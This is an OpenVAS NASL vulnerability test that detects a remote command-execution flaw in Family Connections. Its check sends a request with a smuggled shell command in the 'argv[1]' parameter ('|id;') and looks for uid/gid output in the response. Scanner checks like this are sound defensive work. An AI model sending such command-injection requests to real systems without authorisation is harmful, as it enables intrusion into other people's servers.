Family Connections 'argv[1]' Parameter Remote Arbitrary Command Execution Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_fcms_50897.nasl 7019 2017-08-29 11:51:27Z teissa $
#
# Family Connections 'argv[1]' Parameter Remote Arbitrary Command Execution Vulnerability
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Family Connections is prone to a remote arbitrary command-
execution vulnerability because it fails to properly validate
user-supplied input.

An attacker can exploit this issue to execute arbitrary commands
within the context of the vulnerable application.";

tag_solution = "Vendor updates are available. Please see the references for more
information.";

if (description)
{
 script_id(103356);
 script_bugtraq_id(50897);
 script_version ("$Revision: 7019 $");
 script_tag(name:"cvss_base", value:"5.1");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:N/C:P/I:P/A:P");
 script_name("Family Connections 'argv[1]' Parameter Remote Arbitrary Command Execution Vulnerability");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/50897");
 script_xref(name : "URL" , value : "http://www.haudenschilt.com/fcms/index.html");
 script_xref(name : "URL" , value : "http://sourceforge.net/apps/trac/fam-connections/ticket/407");

 script_tag(name:"last_modification", value:"$Date: 2017-08-29 13:51:27 +0200 (Tue, 29 Aug 2017) $");
 script_tag(name:"creation_date", value:"2011-12-06 10:40:05 +0100 (Tue, 06 Dec 2011)");
 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
 script_dependencies("secpod_fcms_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("version_func.inc");
   
port = get_http_port(default:80);
if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);

if( ! dir = get_dir_from_kb(port:port,app:"FCMS"))exit(0);

# This will only work with the following php.ini requirements:
# register_globals=On
# register_argc_argv=Of

url = string(dir, "/dev/less.php?argv[1]=|id;"); 

if(http_vuln_check(port:port,
		   url:url,pattern:"uid=[0-9]+.*gid=[0-9]+.*")) {
     
  security_message(port:port);
  exit(0);

}

exit(0);